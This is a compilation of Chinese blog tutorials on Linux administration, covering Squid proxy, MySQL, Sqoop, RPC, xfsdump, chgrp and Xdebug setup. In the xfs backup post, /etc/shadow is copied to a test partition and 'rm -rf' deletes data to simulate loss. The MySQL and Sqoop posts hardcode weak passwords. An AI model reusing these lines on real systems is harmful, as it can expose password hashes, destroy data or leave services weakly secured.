1,首先从http://www.squid-cache.org下载squid-2.6.STABLE10-20070315.tar.gz最新版 2,解压配置编译参数: ./configure --prefix=/usr/local/squid \ #指定squid安装目录 --mandir=/usr/share/man \ #指定man的安装目录 --enable-async-io=20 \ #采用同步io提高性能,负载高可设大点 --disable-icmp \ #禁止icmp协议代理(默认不允许) --enable-delay-pools \ #允许延迟限止带宽 --enable-cache-digests \ #允许缓存摘要,可以加快请求缓冲内容的速度(集群用) --enable-snmp \ #允许snmp协议支持(如用mrtg进行流量监控等) --disable-ident-lookups \ #禁止使用RFC931识别 --enable-epoll \ #支持epoll的IO模式,2.6以上内核才具有 --enable-basic-auth-helpers="NCSA" #允许带密码验证,NCSA 风格的用户名和密码档 --enable-Linux-netfilter #允许透明代理 --enable-arp-acl #允许基于MAC地址的存取过滤 --enable-err-language="Simplify_Chinese" #支持的错误语言 --enable-default-err-language="Simplify_Chinese" #指定默认的错误语言 3,编译安装: make && make install 4,添加squid启动用户和组: groupadd squid useradd -g squid squid -s /sbin/nologin #根据cache_effective_user指定缓冲管理的用户 mkdir var/cache #根据cache_dir指定 chown -R squid:squid /usr/local/squid #更改目录所有者和组为squid连同子目录 5,配置squid.conf 首先生成干净的配置文件: mv squid.conf squid.conf.bak cat squid.conf.bak | grep -v "#" | grep -v "^$" > squid.conf #定义服务器地址和端口(做Proxy时最好用lan的ip来设定绑定端口,transparent表示支持透明代理) http_port 192.168.1.253:3128 transparent #定义服务器的名字 visible_hostname ProxyServer #定义管理员邮件地址(在访问发生错误时,visible_hostname和cache_mgr这两个选项的值显示在错误提示页面内的相关位置) cache_mgr webmaster@upkiller.com #定义缓存内存空间 cache_mem 32MB cache_swap_low 90 cache_swap_high 95 #定义缓冲最大值的内容 maximum_object_size 4096 KB #定义缓存目录 cache_dir ufs /usr/local/squid/var/cache 200 16 256 #定义不缓冲的内容 hierarchy_stoplist cgi-bin ? hierarchy_stoplist -i ^https:\\ ? acl QUERY urlpath_regex -i cgi-bin \? \.asp \.PHP \.jsp \.cgi acl denyssl urlpath_regex -i ^https:\\ no_cache deny QUERY no_cache deny denyssl ipcache_size 1024 ipcache_low 90 ipcache_high 95 fqdncache_size 1024 #日志 access_log /usr/local/squid/var/logs/access.log squid cache_log /usr/local/squid/var/logs/cache.log #cache_store_log /usr/local/squid/var/logs/store.log cache_store_log none #Dns服务器 dns_nameservers 202.96.128.86 61.144.56.101 #缓冲存取用户和组 cache_effective_user squid squid #定义ACL #sexurl.txt列出要过滤网站地址的关键字,每个关键字占一行,如www.sina.com(取sina)即可 #maclist.txt列出允许上网的主机的MAC地址,每个地址占一行,如00:50:56:C0:00:08 acl all src 0.0.0.0/0.0.0.0 #定义所有的地址 acl allow_lan src 192.168.1.0/24 #允许局域网lan访问的acl acl sexurl url_regex "/usr/local/squid/sexurl.txt" #定义色情网站过滤 acl virurl url_regex "/usr/local/squid/virurl.txt" #定义病毒网站过滤 #acl allowedmac arp "/etc/squid/maclist.txt" #定义访问策略 http_access deny sexurl #拒绝色情网站 http_access deny virurl #拒绝病毒网站 http_access allow allow_lan #允许局域网ip访问 http_access deny all #拒绝其它未定义的规则 #http_access allow allowedmac #定义可缓冲的文件名: 5,运行SQUID: sbin/squid -z #初始化生成缓冲目录 sbin/squid -NCd1 #前台运行(显示很多运行日志) squid #直接运行 bin/RunCache & #不间断运行 启动步骤: squid -z squid -NsYD /usr/local/squid/conf/squid.conf > squid.out 2>&1 监控缓冲日志: tail -f /usr/local/squid/var/logs/access.log ------------------------------------------------------------------------------------------ 6,操作系统优化: (1)加大系统的文件描述符限制: ulimit -n 默认为1024增大为65536: ulimit -n 65536 查看所有的系统限制: ulimit -a (2)加速回收TIME_WAIT的sockets: sysctl -a|grep net.ipv4.tcp_tw sysctl -w net.ipv4.tcp_tw_reuse=1 sysctl -w net.ipv4.tcp_tw_recycle =1 (3)加大临时端口的范围(默认是1024-4999): echo "1024 40000" > /proc/sys/net/ipv4/ip_local_port_range (4)如果还做NAT的话,增加NAT表的限制: echo "65535" > /proc/sys/net/ipv4/ip_conntrack_max ---------------------------------------------------------------------------------- 7,squidclient使用简介: 查看帮助:./squidclient -h 192.168.1.123 -p 3128 mgr: /usr/local/squid/squidclient squidclient -h 192.168.1.123 -p 3128 mgr:client_list //查看客户端列表 squidclient -h 192.168.1.123 -p 3128 mgr:objects //取得已缓存的列表 squidclient -h 192.168.1.123 -p 3128 mgr:info //取得运行状态 经验技巧:打开一个网址,访问一下,看看有没有Cache到 squidclient -h 192.168.1.123 -p 3128 mgr:objects | grep GET | grep xxx.com 统计cache到的总数哈: squidclient -h 192.168.1.123 -p 3128 mgr:objects | grep GET | wc -l --------------------------------------------------------- 透明代理: iptables -t nat -A PREROUTING -i eth0 -p tcp -s 192.168.1.0/24 --dport 80 -j REDIRECT --to-ports 3128 ----------------------------------------------------------------------------------- 错误FAQ: FATAL: ipcache_init: DNS name lookup tests failed. 有3种方法解决这个问题 1。配置正确的DNS 2。修改squid.conf 加入 dns_nameservers dns-ip(你的dns服务器ip) 3。启动的时候加参数-D ,忽略DNS test 但是请保证能解析到你所要cache的内容的url。(使用hosts 绑定) vi /usr/local/squid/bin 把squid -NsY修改成squid -NsYD ------------------------ squid透明代理配置文件: http_port 192.168.1.123:3128 transparent visible_hostname ProxyServer #Disable Cache hierarchy_stoplist cgi-bin ? hierarchy_stoplist -i ^https:\\ ? acl QUERY urlpath_regex -i cgi-bin \? \.asp \.php \.jsp \.cgi acl denyssl urlpath_regex -i ^https:\\ no_cache deny QUERY no_cache deny denyssl cache_mgr squid@upkiller.com cache_mem 48 MB cache_swap_low 90 cache_swap_high 95 maximum_object_size 4096 KB cache_dir ufs /usr/local/squid/var/cache 200 16 256 access_log /usr/local/squid/var/logs/access.log squid #access_log none #cache_log /usr/local/squid/var/logs/cache.log cache_log none #cache_store_log /usr/local/squid/var/logs/store.log cache_store_log none ipcache_size 1024 ipcache_low 90 ipcache_high 95 fqdncache_size 1024 dns_nameservers 202.96.128.86 61.144.56.101 cache_effective_user squid squid acl allow_lan src 192.168.1.0/24 #acl badurl url_regex "/usr/local/squid/sexurl.txt" acl all src 0.0.0.0/0.0.0.0 #http_access deny badurl http_access allow allow_lan 本文转自信自己belive51CTO博客,原文链接:http://blog.51cto.com/11638205/1864811 ,如需转载请自行联系原作者
一:安装mysql 1.在web服务器上安装mysql: yum -y remove mysql mysql-server ##卸载mysql的rpm包 确认yum源指定到ftp: [root@www ~]# cat /etc/yum.repos.d/centos.repo [local] name=local baseurl=ftp://192.168.100.100/centos6 enabled=1 gpgcheck=0 yum -y install ncurses-* lftp 192.168.100.100 ##下载mysql和cmake lftp 192.168.100.100:/tools> get cmake-2.8.6.tar.gz mysql-5.5.22.tar.gz 2.解压cmake,安装基础环境 tar zxvf /root/cmake-2.8.6.tar.gz -C /usr/src/ cd /usr/src/cmake-2.8.6 3.配置,编译安装cmake ./configure &&gmake &&gmake install 4.解压mysql tar zxvf /root/mysql-5.5.22.tar.gz -C /usr/src/ cd /usr/src/mysql-5.5.22/ 5.使用cmake进行配置mysql cmake -DCMAKE_INSTALL_PREFIX=/usr/local/mysql #指定安装目录\ -DDEFAULT_CHARSET=utf8 #指定字符集为utf8 \ -DDEFAULT_COLLATION=utf8_general_ci ##指定字符校验 \ -DWITH_EXTRA_CHARSETS=all ##支持额外字符集\ -DSYSCONFDIR=/etc/ ##指定配置文件位置 make &&make install #编译安装 echo $?查看上命令是否执行成功 ls /usr/local/mysql ##验证安装目录 二.配置mysql 1.复制配置文件 cp /usr/src/mysql-5.5.22/support-files/my-medium.cnf /etc/my.cnf 2.添加系统服务 cp /usr/src/mysql-5.5.22/support-files/mysql.server /etc/init.d/mysqld chmod +x /etc/init.d/mysqld chkconfig --add mysqld chkconfig mysqld on 3.优化PATH路径,执行命令时方便,单引号双引号都行 echo 'export PATH=$PATH:/usr/local/mysql/bin' >>/etc/profile source /etc/profile ##执行文件 4.初始化mysql,创建用户,赋权 userdel -r mysql ##如果用户已经存在则删除,如果不存在不管 useradd -M -s /sbin/nologin mysql chown -R mysql:mysql /usr/local/mysql /usr/local/mysql/scripts/mysql_install_db \ --basedir=/usr/local/mysql \ --datadir=/usr/local/mysql/data --user=mysql 5.启动mysql,并设置为开机启动 /etc/init.d/mysqld start chkconfig mysqld on 6.修改密码 mysqladmin -u root password '123123' 7.登录mysql: mysql -uroot -p123123 ##登录,也可以用-h选项指定服务器的ip地址进行远程登录 quit 本文转自信自己belive51CTO博客,原文链接: http://blog.51cto.com/11638205/1982051,如需转载请自行联系原作者
一、概述: Sqoop是一款开源的工具,主要用于在Hadoop(如Hive、HDFS)与传统的数据库(mysql、Oracle ...)间进行数据的传递,可以将一个关系型数据库(如 MySQL ,Oracle...)中的数据导进到Hadoop的HDFS中,也可以将HDFS的数据导进到关系型数据库中。其实质就是将导入导出命令转换成MapReduce程序来实现。 二、安装和配置 1、修改配置文件sqoop-env.sh: #Set path to where bin/hadoop is available export HADOOP_COMMON_HOME=/home/hadoop/app/hadoop-2.4.1 #Set path to where hadoop-*-core.jar is available export HADOOP_MAPRED_HOME=/home/hadoop/app/hadoop-2.4.1 #set the path to where bin/hbase is available export HBASE_HOME=/home/hadoop/app/hbase-0.96.2-hadoop2 #Set the path to where bin/hive is available export HIVE_HOME=/home/hadoop/app/hive-0.12.0-bin #Set the path for where zookeper config dir is export ZOOCFGDIR=/home/hadoop/app/zookeeper-3.4.5/conf 2、将sqoop添加到环境变量。 3、将数据库连接驱动拷贝到$SQOOP_HOME/lib里。 三、导入导出: 1、数据库中的数据导入到HDFS上: (1)、指定导入的字段: sqoop import --connect jdbc:mysql://192.168.1.10:3306/itcast --username root --password 123 --table trade_detail --columns 'id, account, income, expenses' (2)、指定输出路径、指定数据分隔符: sqoop import --connect jdbc:mysql://192.168.1.10:3306/itcast --username root --password 123 ##要导入数据的表 --table trade_detail ##数据导入hdfs后所存放的目录 --target-dir '/sqoop/td' ##导入的数据字段之间的分隔符 --fields-terminated-by '\t' (3)、指定Map数量 -m sqoop import --connect jdbc:mysql://192.168.1.10:3306/itcast --username root --password 123 --table trade_detail --target-dir '/sqoop/td1' --fields-terminated-by '\t' ##指定做导入处理时的map 任务数 -m 2 (4)、增加where条件, 注意:条件必须用引号引起来 sqoop import --connect jdbc:mysql://192.168.1.10:3306/itcast --username root --password 123 --table trade_detail --where 'id>3' --target-dir '/sqoop/td2' (5)、增加query语句(使用 \ 将语句换行) sqoop import --connect jdbc:mysql://192.168.1.10:3306/itcast --username root --password 123 --query 'SELECT * FROM trade_detail where id > 2 AND $CONDITIONS' --split-by trade_detail.id --target-dir '/sqoop/td3' 注意:如果使用--query这个命令的时候,需要注意的是where后面的参数,AND $CONDITIONS这个参数必须加上 而且存在单引号与双引号的区别,如果--query后面使用的是双引号,那么需要在$CONDITIONS前加上\即\$CONDITIONS 如果设置map数量为1个时即-m 1,不用加上--split-by ${tablename.column},否则需要加上 2、将HDFS上的文件数据导出到数据库的表里面去: sqoop export --connect jdbc:mysql://192.168.8.120:3306/itcast --username root --password 123 ##你要导出的数据所在的目录 --export-dir '/td3' ##你要导往的目标关系表 --table td_bak -m 1 ##你要导出的文件的字段分隔符 --fields-termianted-by '\t' 四、用python导入导出表: import os from_table="rpt_daily" to_table="rpt_daily" sqoop1="sqoop import --connect jdbc:mysql://172.30.200.219/bi_warehouse --username root " \ "--password artisan --table "+from_table+" --fields-terminated-by '\\001' --target-dir /db/as_main/modifier/lzf/"+from_table+" --delete-target-dir --num-mappers 1 " os.system(sqoop1) sqoop2="sqoop export --connect \"jdbc:mysql://192.168.1.4/bi_warehouse?useUnicode=true&characterEncoding=utf-8\" --username root --password root --table "+to_table+" " \ "--export-dir /db/as_main/modifier/lzf/"+to_table+"/part-m-00000 --input-fields-terminated-by '\\001'" os.system(sqoop2) 执行有2种方法: 方法1、在linux行,执行python ,进入python,然后将上面内容粘贴后回车即可 方法2、在linux行,执行python test2.py,即python调用文件(test2.py为上述内容保存的文件名称) 本文转自lzf0530377451CTO博客,原文链接:http://blog.51cto.com/8757576/1841793 ,如需转载请自行联系原作者
Linux RPC编程实战要点 当前云计算、大数据发展得如火如荼,作为其主要架构的分布式系统也得以大行其道。而构成分布式系统的一个重要基础功能就是RPC(remote process call),因此了解RPC的基本原理、编程实现和部署方法显得尤为必要。 一、RPC的基本原理 网上介绍RPC的博客比较多,系统和零碎的文章也有不少,个人建议找一两个链接看懂、真正理解即可。 笔者这里想推荐的是《RPC原理详解》和《RPC Porgram》。说简单点,RPC就是基于网络TCP或者UDP协议的通信过程,客户端和服务器端根据事先约定好的数据传输接口和框架,分别实现各自的功能:服务器端实现客户端想要的业务的函数的功能,并把这些函数和指定的远程调用编号关联起来,然后向RPC框架注册这些函数;客户端利用约定的远程调用编号向RPC框架申请对应的服务,并从网络包中解析出期望的返回值。 二、编程实现 借助于现有的RPC框架,工程师可以只用关注具体的业务功能相关的函数,而不用考虑框架代码的实现和流程。这些便捷性来自于RPC框架提供的自动代码生成工具,以Linux C RPC为例,正是因为有了rpcgen,开发人员一旦设计好了对应的.x接口文件,一个命令就可以生成所有的框架代码,并且显式地 预留了实现业务功能代码的位置,工程师就像填砖一样往框架结构里塞入代码即可。 下面以sample.x为例,简单介绍一下client端、server端代码、Makefile的生成过程。 1.根据rpc语法,实现和自己接口相关的.x文件,它是生成client端和server端的种子; const ADD = 0; const SUB = 1; const MUL = 2; const DIV = 3; struct MATH { int op; /* 0-ADD, 1-SUB, 2-MUL, 3-DIV */ float arg1; float arg2; float result; }; program MATH_PROG { version MATH_VER { struct MATH MATH_PROC(struct MATH) = 1; } = 2; } = 0x20000001; 2.利用rpc生成所有的程序: rpcgen -a cal.x 检查下所有的输出: [root@localhost rpc]# ls -alrt total 40 -rw-r--r--. 1 root root 247 Mar 31 22:59 cal.x drwxrwxr-x. 22 xqch xqch 4096 Mar 31 23:00 .. -rw-r--r--. 1 root root 341 Mar 31 23:00 cal_xdr.c -rw-r--r--. 1 root root 1115 Mar 31 23:00 cal.h -rw-r--r--. 1 root root 588 Mar 31 23:00 cal_clnt.c -rw-r--r--. 1 root root 2230 Mar 31 23:00 cal_svc.c -rw-r--r--. 1 root root 347 Mar 31 23:00 cal_server.c -rw-r--r--. 1 root root 1058 Mar 31 23:00 Makefile.cal -rw-r--r--. 1 root root 842 Mar 31 23:00 cal_client.c 3.往cal_client.c和cal_server.c中添加需要的代码,然后运行: make -f Makefile.cal 生成客户端和服务器端的程序:cal_client/cal_server。 三、部署方法 理解了RPC的原理并且熟悉了rpcgen命令之后,进行RPC程序开发并不难。难的是在实际调试运行RPC程序,特别是在不同的节点、网络环境下运行RPC应用程序时,可能由于网络、防火墙、RPC服务的不同的设置出现各种问题,常见的有: 1. connection refused; 2. unable to route to XXX (IP); 3. Connection timeout; 一旦出现了上面的问题,记得用firewall-cmd/rpc-bind/rpcinfo等命令检查防火墙、端口设置、rpc服务设置,保证该关闭的服务要关闭,该打开的服务务必打开,这样才能保证RPC程序实现跨节点的运行。 总之,由于RPC不是在本地调用,而是依赖于现有的TCP/UDP协议,因此出现了问题之后,处了需要确定程序没有问题之外,还需要时刻留意网络系统设置,对整个系统的工作流程有个全面的了解,才能快速解决问题,提告开发效率。 本文转自存储之厨51CTO博客,原文链接:http://blog.51cto.com/xiamachao/1759031 ,如需转载请自行联系原作者
夜上海音乐播放器,希望大家喜欢。本人第一次用易语言制作原创软件,没有什么技术含量,高手莫笑!~ https://pan.baidu.com/s/1jIDPIUq 本文转自haiyang45751CTO博客,原文链接: http://blog.51cto.com/haiyang457/1910240,如需转载请自行联系原作者
实战:xfs文件系统的备份和恢复 XFS提供了 xfsdump 和 xfsrestore 工具协助备份XFS文件系统中的数据。xfsdump 按inode顺序备份一个XFS文件系统。与传统的UNIX文件系统不同,XFS不需要在dump前被卸载;对使用中的XFS文件系统做dump就可以保证镜像的一致性。这与XFS对快照的实现不同,XFS的dump和restore的过程是可以被中断然后继续的,无须冻结文件系统。xfsdump 甚至提供了高性能的多线程备份操作——它把一次dump拆分成多个数据流,每个数据流可以被发往不同的目的地。 准备一个测试分区 [root@localhost ~]# fdisk /dev/sdb 欢迎使用 fdisk (util-linux 2.23.2)。 更改将停留在内存中,直到您决定将更改写入磁盘。 使用写入命令前请三思。 Device does not contain a recognized partition table 使用磁盘标识符 0xd080085d 创建新的 DOS 磁盘标签。 命令(输入 m 获取帮助):n Partition type: p primary (0 primary, 0 extended, 4 free) e extended Select (default p): p 分区号 (1-4,默认 1):1 起始 扇区 (2048-41943039,默认为 2048): 将使用默认值 2048 Last 扇区, +扇区 or +size{K,M,G} (2048-41943039,默认为 41943039):+1G 分区 1 已设置为 Linux 类型,大小设为 1 GiB 命令(输入 m 获取帮助):p 磁盘 /dev/sdb:21.5 GB, 21474836480 字节,41943040 个扇区 Units = 扇区 of 1 * 512 = 512 bytes 扇区大小(逻辑/物理):512 字节 / 512 字节 I/O 大小(最小/最佳):512 字节 / 512 字节 磁盘标签类型:dos 磁盘标识符:0xd080085d 设备 Boot Start End Blocks Id System /dev/sdb1 2048 2099199 1048576 83 Linux 命令(输入 m 获取帮助):w The partition table has been altered! Calling ioctl() to re-read partition table. 正在同步磁盘。 重新获取分区表 [root@localhost ~]# partprobe /dev/sdb 格式化分区,并进行挂载 [root@localhost ~]# mkfs.xfs /dev/sdb1 meta-data=/dev/sdb1 isize=256 agcount=4, agsize=65536 blks = sectsz=512 attr=2, projid32bit=1 = crc=0 finobt=0 data = bsize=4096 blocks=262144, imaxpct=25 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0 ftype=0 log =internal log bsize=4096 blocks=2560, version=2 = sectsz=512 sunit=0 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 [root@localhost ~]# mkdir /sdb1 ##创建挂载点 [root@localhost ~]# mount /dev/sdb1 /sdb1/ ##挂载 准备备份测试文件 [root@localhost ~]# cp /etc/shadow /sdb1/ [root@localhost ~]# mkdir /sdb1/test [root@localhost ~]# ls /sdb1/ shadow test 1)对整个分区进行备份 [root@localhost yum.repos.d]# yum -y install xfsdump ##安装软件包 [root@localhost ~]# xfsdump -f /opt/dump_sdb1 /sdb1 注意:备份的设备这里不能写成/sdb1/ xfsdump: using file dump (drive_simple) strategy xfsdump: version 3.1.4 (dump format 3.0) - type ^C for status and control ============================= dump label dialog ============================== please enter label for this dump session (timeout in 300 sec) -> dump_sdb1 #指定备份标签 session label entered: "dump_sdb1" --------------------------------- end dialog --------------------------------- xfsdump: level 0 dump of localhost.cn:/sdb1 xfsdump: dump date: Thu Jan 28 22:01:25 2016 xfsdump: session id: 29356f1f-8957-4fe0-ad70-2ae087f27abe xfsdump: session label: "dump_sdb1" xfsdump: ino map phase 1: constructing initial dump list xfsdump: ino map phase 2: skipping (no pruning necessary) xfsdump: ino map phase 3: skipping (only one dump stream) xfsdump: ino map construction complete xfsdump: estimated dump size: 25536 bytes xfsdump: /var/lib/xfsdump/inventory created ============================= media label dialog ============================= please enter label for media in drive 0 (timeout in 300 sec) -> media0 #指定设备标签 media label entered: "media0" --------------------------------- end dialog --------------------------------- xfsdump: creating dump session media file 0 (media 0, file 0) xfsdump: dumping ino map xfsdump: dumping directories xfsdump: dumping non-directory files xfsdump: ending media file xfsdump: media file size 24232 bytes xfsdump: dump size (non-dir files) : 2592 bytes xfsdump: dump complete: 48 seconds elapsed xfsdump: Dump Summary: xfsdump: stream 0 /opt/dump_sdb1 OK (success) xfsdump: Dump Status: SUCCESS 非交互式进行备份 [root@localhost ~]# xfsdump -f /opt/dump_sdb1 /sdb1 -L dump_sdb1 -M media0 针对指定文件或目录进行备份 [root@localhost ~]# xfsdump -f /opt/dump_sdb1_passwd -s passwd /sdb1 -L dump_sdb1_passwd -M media1 [root@localhost ~]# xfsdump -f /opt/dump_sdb1_test -s test /sdb1 -L dump_sdb1_test -M media1 注意:passwd /sdb1中间有空格,前后都不能加“/” 查看备份文件是否生成 [root@localhost yum.repos.d]# ls /opt/ dump_sdb1 dump_sdb1_passwd dump_sdb1_test 克隆目录到另外一个目录 [root@localhost ~]# xfsdump - /sdb1 | xfsrestore - /data/ 克隆指定的目录 [root@localhost ~]# xfsdump - -s test /sdb1 | xfsrestore - /data/ 查看备份信息 [root@localhost ~]# xfsdump -I file system 0: fs id: cece719c-2e76-4970-9321-1bd5528c14d5 session 0: mount point: localhost.cn:/sdb1 device: localhost.cn:/dev/sdb1 time: Thu Jan 28 22:01:25 2016 session label: "dump_sdb1" session id: 29356f1f-8957-4fe0-ad70-2ae087f27abe level: 0 resumed: NO subtree: NO streams: 1 stream 0: pathname: /opt/dump_sdb1 文件系统恢复 首先,模拟数据被删除 [root@localhost ~]# rm -rf /sdb1/* 恢复 [root@localhost ~]# xfsrestore -f /opt/dump_sdb1 /sdb1/ 只恢复单个的目录或文件 [root@localhost ~]# xfsrestore -f /opt/dump_sdb1_passwd -s test /sdb1/ 恢复之前查看备份文件的内容 [root@localhost opt]# xfsrestore -f /opt/dump_sdb1 -t 本文转自信自己belive51CTO博客,原文链接: http://blog.51cto.com/11638205/2048408,如需转载请自行联系原作者
chgrp命令简介: 改变文件属组的命令(该命令只有管理员可以使用) 1.命令格式: chgrp GROUPNAME files 2.命令功能: 用于更改文件夹属组的命令 3.命令参数: -R: 修改目录及其内部文件和子目录的属组(递归修改) --reference=/path/to/somefile file,... 把file文件的属组和属主属组同时改成 /path/to/somefile文件一样,多个文件用逗号隔开。 eg: #chgrp --reference=/etc/passwd /etc/test/100.sh,/etc/test/200.sh 把100.sh和200.sh两个文件的属主属组都改成跟/etc/passwd文件属主属组一致。 4.命令实例: 1、chgrp donggen 100.sh 把100.sh文件的属组变更为donggen [root@xuelinux test]# ls -l -rwxr-xr-x. 1 root root 273 9月 14 19:49 100.sh 变更前属组为root [root@xuelinux test]# chgrp donggen 100.sh [root@xuelinux test]# ls -l -rwxr-xr-x. 1 root donggen 273 9月 14 19:49 100.sh 此文件属组已更改为donggen 2、chgrp donggen /test1 把test1组的属组变更为donggen [root@xuelinux /]# ls -ld /test1 drwxr-xr-x. 2 root root 4096 10月 12 16:36 /test1 变更前属组为root [root@xuelinux /]# chgrp donggen /test1 [root@xuelinux /]# ls -ld /test1 drwxr-xr-x. 2 root donggen 4096 10月 12 16:36 /test1 变更后此目录的属组已更改为donggen 3、chgrp -R donggen /test 把test组及其内部的子目录和文件的属组都修改 [root@xuelinux /]# ls -ld /test drwxr-xr-x. 2 root root 4096 10月 11 09:21 /test 更改前属组为root [root@xuelinux /]# ls -l /test -rwxr-xr-x. 1 root root 273 9月 14 19:49 100.sh 更改前属组为root -rwxr-xr-x. 1 root root 252 9月 14 18:58 hadoop.sh 更改前属组为root -rwxr-xr-x. 1 root root 455 8月 25 18:42 myar.sh 更改前属组为root [root@xuelinux /]# chgrp -R donggen /test [root@xuelinux /]# ls -ld /test drwxr-xr-x. 2 root donggen 4096 10月 11 09:21 /test test目录属组已更改为donggen [root@xuelinux /]# ls -l /test -rwxr-xr-x. 1 root donggen 273 9月 14 19:49 100.sh test目录下的文件属组也改为donggen -rwxr-xr-x. 1 root donggen 252 9月 14 18:58 hadoop.sh test目录下的文件属组也改为donggen -rwxr-xr-x. 1 root donggen 455 8月 25 18:42 myar.sh test目录下的文件属组也改为 本文转自wang650108151CTO博客,原文链接:http://blog.51cto.com/woyaoxuelinux/1861701 ,如需转载请自行联系原作者
注意:xdebug版本要支持PHP版本,不然就game over了,可以在phpinfo()中查看Xdebug是否安装成功 eclipse + xdebug 一、在php.ini配置调试信息(如果安装了zend debugger要注释掉其信息) ; XDEBUG Extension zend_extension = “D:/Web/wamp/bin/php/php5.3.8/zend_ext/php_xdebug-2.1.2-5.3-vc9-x86_64.dll”(注意中文字符,注意修改) [xdebug] ; 开启自动跟踪 xdebug.auto_trace = On xdebug.show_exception_trace = On ;xdebug.remote_autostart = On xdebug.collect_vars = On xdebug.collect_return = On xdebug.collect_params = On xdebug.trace_output_dir=”D:/Web/wamp/tmp” xdebug.profiler_enable=On xdebug.profiler_output_dir=”D:/Web/wamp/tmp” xdebug.remote_enable = true xdebug.remote_host=127.0.0.1 xdebug.remote_port=9000 xdebug.remote_handler=dbgp xdebug.profiler_enable = off xdebug.profiler_enable_trigger = off xdebug.profiler_output_name = cachegrind.out.%t.%p xdebug.profiler_output_dir = “D:/Web/wamp/tmp” 2.在zend Stuido中配置xdebug 窗口 - 首选项 - PHP - Debug,将PHP Debugger 设置为Xdebug 3.在需要调试的文件上右键 打开调试窗口 再按调试就OK了 ———————————- 所有的调试服务器配置都可以在 “窗口” -> “首选项” -> “PHP Servers” 中查看编辑 Edit Server Base URL:http://localhost Local Web Root:D:\Web\wamp\www Add new server path map Path on Server:http://localhost/pro/ThinkPHP3 或者物理地址 path in Workspace: /ThinkPHP3 最后一点,不要忘记在调试时启用单步执行过滤器哦,不然zend studio在用 xdebug 调试时可能就直接运行到结果 本文转自ljianbing51CTO博客,原文链接:http://blog.51cto.com/ljianbing/1604710 ,如需转载请自行联系原作者